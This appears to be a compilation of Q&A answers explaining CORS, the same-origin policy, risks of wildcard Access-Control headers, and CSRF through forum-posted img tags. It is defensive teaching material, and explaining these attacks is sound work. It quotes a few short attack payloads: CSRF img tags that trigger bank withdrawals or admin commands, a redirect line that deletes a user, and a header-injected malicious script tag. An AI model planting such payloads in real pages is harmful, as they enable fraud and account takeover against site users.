XMLHttpRequests require CORS to work cross-domain. Similarly for web fonts, WebGL textures, and a few other things. In general all new APIs seem to have this restriction.
Why?
It's so easy to circumvent: all it takes is a simple server-side proxy. In other words, server-side code isn't prohibited from doing cross-domain requests; why is client-side code? How does this give any security, to anyone?
And it's so inconsistent: I can't XMLHttpRequest, but I can <script src> or <link rel> or <img src> or <iframe>. What does restricting XHR etc. even accomplish?
If I visit a malicious website, I want to be sure that :
It cannot read my personal data from other websites I use. Think attacker.com reading gmail.com
It cannot perform actions on my behalf on other websites that I use. Think attacker.com transferring funds from my account on bank.com
Same Origin Policy solves the first problem. The second problem is called cross site request forgery, and cannot be solved with the cross-domain restrictions currently in place.
The same origin policy is in general consistent with the following rules -
Rule 1: Doesn't let you read anything from a different domain
Rule 2: Lets you write whatever you want to a different domain, but rule #1 will not allow you to read the response.
Rule 3: You can freely make cross-domain GET requests and POST requests, but you cannot control the HTTP headers
Lets see how the various things you have listed line up to the above rules :
<img> tags let you make a HTTP request, but there is no way to read the contents of the image other than simply displaying it. For example, if I do this <img src="http://bank.com/get/latest/funds"/>, the request will go through (rule 2). But there is no way for the attacker to see my balance (rule 1).
<script> tags work mostly like <img>. If you do something like <script src="http://bank.com/get/latest/funds">, the request will go through. The browser will also try to parse the response as JavaScript, and will fail.
There is a well known abuse of <script> tags called JSONP, where you collude with the cross-domain server so that you can 'read' cross-domain. But without the explicit involvement of the cross-domain server, you cannot read the response via the <script> tag
<link> for stylesheets work mostly like <script> tags, except the response is evaluated as CSS. In general, you cannot read the response - unless the response somehow happens to be well-formed CSS.
<iframe> is essentially a new browser window. You cannot read the HTML of a cross-domain iframe. Incidentally, you can change the URL of a cross-domain iframe, but you cannot read the URL. Notice how it follows the two rules I mentioned above.
XMLHttpRequest is the most versatile method to make HTTP requests. This is completely in the developers control; the browser does not do anything with the response. For example, in the case of <img>, <script> or <link>, the browser assumes a particular format and in general will validate it appropriately. But in XHR, there is no prescribed response format. So, browsers enforce the same origin policy and prevent you from reading the response unless the cross domain website explicitly allows you.
Fonts via font-face are an anomaly. AFAIK, only Firefox requires the opt-in behavior; other browsers let you use fonts just like you would use images.
In short, the same origin policy is consistent. If you find a way to make a cross-domain request and read the response without explicit permission from the cross-domain website - you'll make headlines all over the world.
EDIT : Why can't I just get around all of this with a server-side proxy?
For gmail to show personalized data, it needs cookies from your browser. Some sites use HTTP basic authentication, in which the credentials are stored in the browser.
A server-side proxy cannot get access to either the cookies or the basic auth credentials. And so, even though it can make a request, the server will not return user specific data.
Consider this scenario...
You go to my malicious website.
My site makes an XHR to your banking website and requests the form for bank transfer.
The XHR reads the token that prevents CSRF and POSTs the form alongside the security token and transfers a sum of money to my account.
(I) Profit!!!
Without Same Origin Policy in existence, you could still POST that form, but you wouldn't be able to request the CSRF token that prevents CSRFs.
Server side code does not run on the client's computer.
The main issue with XHR is that they can not just send a request but you are also able to read the response. Sending almost arbitrary requests was already possible. But reading their responses was not. That’s why the original XHR did not allow any cross-origin requests at all.
Later, when the demand for cross-origin requests with XHR arose, the CORS was established to allow cross-origin requests under specific conditions. One condition is that particular request methods, request header fields, and requests that would contain user credentials require a so called preflight request with which the client can check whether the server would allow the request. With this the server has the ability to restrict access to only specific origins as otherwise any origin could send requests.
Related
Looking at attacks like CSRF, BREACH, a subset of XS-Leaks and probably many more, a cross-origin request is always involved. I'd like to block such non-toplevel-<a> cross-origin requests (from <form>,<img>,<script>,<link>,fetch(),XMLHttpRequest,<a>-within-iframe and others) to my server (a simple express (node.js) application, but a general answer would be nice). By "block" I mean drop silently on the server side, without sending any response.
I've checked out the Origin HTTP header, but it isn't sent with <img> tags.
The Referer header is easy to omit on the attacker's site's side, so to reject all cross-origin requests I'd need to check that "Referer exists and is me", and that doesn't allow fresh GET requests (nor <a> top-level navigations from other sites).
The Cross-Origin-Resource-Policy: same-site response header and its supplementary headers are nice, but they don't help me avoid sending a response which the attacker can time from js / size as a man-in-the-middle - having the browser reject the content is irrelevant.
Is there an HTTP header I'm overlooking, which clearly identifies a cross-origin request?
Perhaps a browser-specific one?
Is there a plan to introduce one in the foreseeable future in either Firefox or Chrome?
Im trying to figure what is cors.
In MDN it describe as :
A resource makes a cross-origin HTTP request when it requests a resource from a different domain than the one which the first resource itself serves.
Im not sure I know what is a web resource.
In addition, I understand thats cors allows me to use web resource from another domain in my domain by putting the domain in the header, but is it just convention or something more than that?
Let me try to give a short explanation.
Web resource
A web resource is anything you request on the web. That could be an image, a json payload, a pdf, an html-page etc. There's not more to it than that.
CORS
When you want to do an ajax-request in a browser (typically from javascript), you are typically limited to making requests to resources (url's) on the same domain. Eg. www.x.com can only request resources from www.x.com. Let's imagine you have a web page on www.x.com that want's to get a resource from api.x.com. This will not be possible unless the server (api.x.com) has CORS enabled.
So how does it work? Well, the flow is like this (simplified a lot).
When you do a ajax-request, for instance a GET request for a json payload, the browser sees this and issues an OPTIONS request to server in which it states who it is (www.x.com in the Origin header). The server is then supposed to answer with a response with a header saying that it is ok for www.x.com to do the GET request. The server does this by adding a header Access-Control-Allow-Origin: www.x.com. If the allowed origin matches the origin in the request, the browser issues the GET request and the json payload is returned by the server. If the allowed origin does not match, the browser refuses to do the request and shows an error in the console.
If you are doing the client (www.x.com), and are using - lets say jquery - you don't have to do anything. Everything happens automatically.
If you are doing the server (api.x.com), you have to enabled CORS. How this is done varies a lot but http://enable-cors.org/server.html has a nice guide on how to do it on different server types. They also have some more in depth guides on how it works. Specifically you might wanna take a look here https://www.nczonline.net/blog/2010/05/25/cross-domain-ajax-with-cross-origin-resource-sharing/
I hope this helps you out a bit
I recently had to set Access-Control-Allow-Origin to * in order to be able to make cross-subdomain AJAX calls. I feel like this might be a security problem. What risks am I exposing myself to if I keep the setting?
By responding with Access-Control-Allow-Origin: *, the requested resource allows sharing with every origin. This basically means that any site can send an XHR request to your site and access the server’s response which would not be the case if you hadn’t implemented this CORS response.
So any site can make a request to your site on behalf of their visitors and process its response. If you have something implemented like an authentication or authorization scheme that is based on something that is automatically provided by the browser (cookies, cookie-based sessions, etc.), the requests triggered by the third party sites will use them too.
This indeed poses a security risk, particularly if you allow resource sharing not just for selected resources but for every resource. In this context you should have a look at When is it safe to enable CORS?.
Update (2020-10-07)
Current Fetch Standard omits the credentials when credentials mode is set to include, if Access-Control-Allow-Origin is set to *.
Therefore, if you are using a cookie-based authentication, your credentials will not be sent on the request.
Access-Control-Allow-Origin: * is totally safe to add to any resource, unless that resource contains private data protected by something other than standard credentials. Standard credentials are cookies, HTTP basic auth, and TLS client certificates.
Eg: Data protected by cookies is safe
Imagine https://example.com/users-private-data, which may expose private data depending on the user's logged in state. This state uses a session cookie. It's safe to add Access-Control-Allow-Origin: * to this resource, as this header only allows access to the response if the request is made without cookies, and cookies are required to get the private data. As a result, no private data is leaked.
Eg: Data protected by location / ip / internal network is not safe (unfortunately common with intranets and home appliances):
Imagine https://intranet.example.com/company-private-data, which exposes private company data, but this can only be accessed if you're on the company's wifi network. It's not safe to add Access-Control-Allow-Origin: * to this resource, as it's protected using something other than standard credentials. Otherwise, a bad script could use you as a tunnel to the intranet.
Rule of thumb
Imagine what a user would see if they accessed the resource in an incognito window. If you're happy with everyone seeing this content (including the source code the browser received), it's safe to add Access-Control-Allow-Origin: *.
AFAIK, Access-Control-Allow-Origin is just a http header sent from the server to the browser. Limiting it to a specific address (or disabling it) does not make your site safer for, for example, robots. If robots want to, they can just ignore the header. The regular browsers out there (Explorer, Chrome, etc.) by default honor the header. But an application like Postman simply ignores it.
The server end doesn't actually check what the 'origin' is of the request when it returns the response. It just adds the http header. It's the browser (the client end) which sent the request that decides to read the access-control header and act upon it. Note that in the case of XHR it may use a special 'OPTIONS' request to ask for the headers first.
So, anyone with creative scripting abilities can easily ignore the whole header, whatever is set in it.
See also Possible security issues of setting Access-Control-Allow-Origin.
Now to actually answer the question
I can't help but feel that I'm putting my environment to security
risks.
If anyone wants to attack you, they can easily bypass the Access-Control-Allow-Origin. But by enabling '*' you do give the attacker a few more 'attack vectors' to play with, like, using regular webbrowsers that honor that HTTP header.
Here are 2 examples posted as comments, when a wildcard is really problematic:
Suppose I log into my bank's website. If I go to another page and then
go back to my bank, I'm still logged in because of a cookie. Other
users on the internet can hit the same URLs at my bank as I do, yet
they won't be able to access my account without the cookie. If
cross-origin requests are allowed, a malicious website can effectively
impersonate the user.
– Brad
Suppose you have a common home router, such as a Linksys WRT54g or
something. Suppose that router allows cross-origin requests. A script
on my web page could make HTTP requests to common router IP addresses
(like 192.168.1.1) and reconfigure your router to allow attacks. It
can even use your router directly as a DDoS node. (Most routers have
test pages which allow for pings or simple HTTP server checks. These
can be abused en masse.)
– Brad
I feel that these comments should have been answers, because they explain the problem with a real life example.
This answer was originally written as a reply to What are the security implications of setting Access-Control-Allow-Headers: *, if any? and was merged despite being irrelevant to this question.
To set it to a wildcard *, means to allow all headers apart from safelisted ones, and remove restrictions that keeps them safe.
These are the restrictions for the 4 safelisted headers to be considered safe:
For Accept-Language and Content-Language: can only have values consisting of 0-9, A-Z, a-z, space or *,-.;=.
For Accept and Content-Type: can't contain a CORS-unsafe request header byte: 0x00-0x1F (except for 0x09 (HT), which is allowed), "():<>?#[\]{}, and 0x7F (DEL).
For Content-Type: needs to have a MIME type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
For any header: the value’s length can't be greater than 128.
For simplicity's sake, I'll base my answer on these headers.
Depending on server implementation, simply removing these limitations can be very dangerous (to the user).
For example, this outdated wordpress plugin has a reflected XSS vulnerability where the value of Accept-Language was parsed and rendered on the page as-is, causing script execution on the user's browser should a malicious payload be included in the value.
With the wildcard header Access-Control-Allow-Headers: *, a third party site redirecting to your site could set the value of the header to Accept Language: <script src="https://example.com/malicious-script.js"></script>, given that the wildcard removes the restriction in Point 1 above.
The preflight response would then give the greenlight to this request, and the user will be redirected to your site, triggering an XSS on their browser, which impact can range from an annoying popup to losing control of their account through cookie hijacking.
Thus, I would strongly recommend against setting a wildcard unless it is for an API endpoint where nothing is being rendered on the page.
You can set Access-Control-Allow-Headers: Pragma as an alternative solution to your problem.
Note that the value * only counts as a special wildcard value for requests without credentials (requests without HTTP cookies or HTTP authentication information), otherwise it will be read as a literal header. Documentation
In scenario where server attempts to disable the CORS completely by setting below headers.
Access-Control-Allow-Origin: * (tells the browser that server accepts
cross site requests from any ORIGIN)
Access-Control-Allow-Credentials: true (tells the browser that cross
site requests can send cookies)
There is a fail safe implemented in browsers that will result in below error
"Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’"
So in most scenarios setting ‘Access-Control-Allow-Origin’ to * will not be a problem. However to secure against attacks, the server can maintain a list of allowed origins and whenever server gets a cross origin request, it can validate the ORIGIN header against the list of allowed origins and then echo back the same in Access-Control-Allow-Origin header.
Since ORIGIN header can't be changed by javascript running on the browser, the malicious site will not be able to spoof it.
From ha.ckers.org/xss.html:
IMG Embedded commands - this works
when the webpage where this is
injected (like a web-board) is behind
password protection and that password
protection works with other commands
on the same domain. This can be used
to delete users, add users (if the
user who visits the page is an
administrator), send credentials
elsewhere, etc.... This is one of the
lesser used but more useful XSS
vectors:
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
or:
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
I allow users to post images in the forum. How can this be protected against?
I'm using Java Struts but any generic answers are welcome.
If you follow the rules of the HTTP specification, such a kind of attack will make no harm. The section 9.1.1 Safe Methods says:
[…] GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.
Naturally, it is not possible to ensure that the server does not generate side-effects as a result of performing a GET request; in fact, some dynamic resources consider that a feature. The important distinction here is that the user did not request the side-effects, so therefore cannot be held accountable for them.
So all requests that change data on the server side should only be allowed via POST. And even there you should only allow those requests that your system has authenticated by generating tokens that are only valid for a specific form/action.
This attack is simply an HTTP GET request made to any URL. You cannot reliably block it by prevent certain <img> tags.
Instead, you need to make sure that your website has no targets (URLs that respond to GET requests and change things)
If there aren't any "juicy" URLs that respond to HTTP GETs (not POSTs) and change data, the attacker will have nothing to attack. (<img> tags cannot be used to create HTTP POSTs)
Cross-site scripting is one reason why you should not allow forum users to post images by linking to images outside your site.
Image posting should be provided by allowing users to upload the image file to your site and using internal relative URI.
By injecting an <img> tag someone can bypass referer based XSRF protection for a GET request. The reason why is because the referer for the GET request produced by the <img> has the same referer as the host its self. So this would bypass code checking to see if the referer and the host where different.
You shouldn't allow people to put html on your page. In this case you should let users upload them and then host images locally. If you really want people to put IMG tags on your site, make sure the URL isn't pointing to your server, because this what an attack would do! Also don't use referer based XSRF protection, use token based. <img> tag injection cannot bypass token based xsrf protection.
No one seemed to mention that the threat in allowing people to post images is not to you, it's to other sites.
If you allow people to post images but your site has no XSRF vulnerabilities, your site is not in danger; other sites with XSRF vulnerabilities are, as your users will unknowingly make requests to the other site via the embedded image when they visit your site. The malicious <img> tag will look something like this:
<img src="http://my-bank-website.com/withdraw_money.php?amount=100000&account=mandy-the-hacker" />
Note that this is not a real image, but the browser will not know that, so it will make the request anyways, transferring $100,000 to mandy-the-hacker's account, assuming the user is currently logged on to my-bank-website.com. This is how XSRF vulnerabilities work.
The only way to prevent this is to force users to upload images, rather than providing URLs for them. However, the malicious user could still just provide a link to the XSRF vulnerability, so removing the ability to provide URLs doesn't really help anything; you are not really harming the other site by allowing <img> tags, they are harming themselves by not using user-specific tokens in forms.
What is a cross-domain error?
It happens when Javascript (most of the time) try to access something which it shouldn't.
Such as if you try to read another domain's cookie, that won't work. If you try to do XMLHTTP request to another domain or protocol (HTTP > HTTPS) that won't work. Because if you can do that you can hijack, steal your visitors session in other websites.
It's security feature and now it's a standard in all browser.
As I understand it, client-side tools such as Silverlight (and maybe Flash/Javascript) throw a cross-domain error when you attempt to make a connection to a server that is normally only allowed when it is made to the same domain that the page was served from (some origin policy).
A cross-domain error may be thrown when, for example, you are viewing a page on your test server when it is trying to call your live server, or when you are viewing a test page as a local file using a file:// protocol.
Try ensuring that the domain you are testing on is the same as that which the site was designed to be on. Note that Flash has the crossdomain.xml feature which specifically allow you to do cross-domain requests. Javascript also has ways to get around same origin policy, but you should be aware of the implications of what you're doing.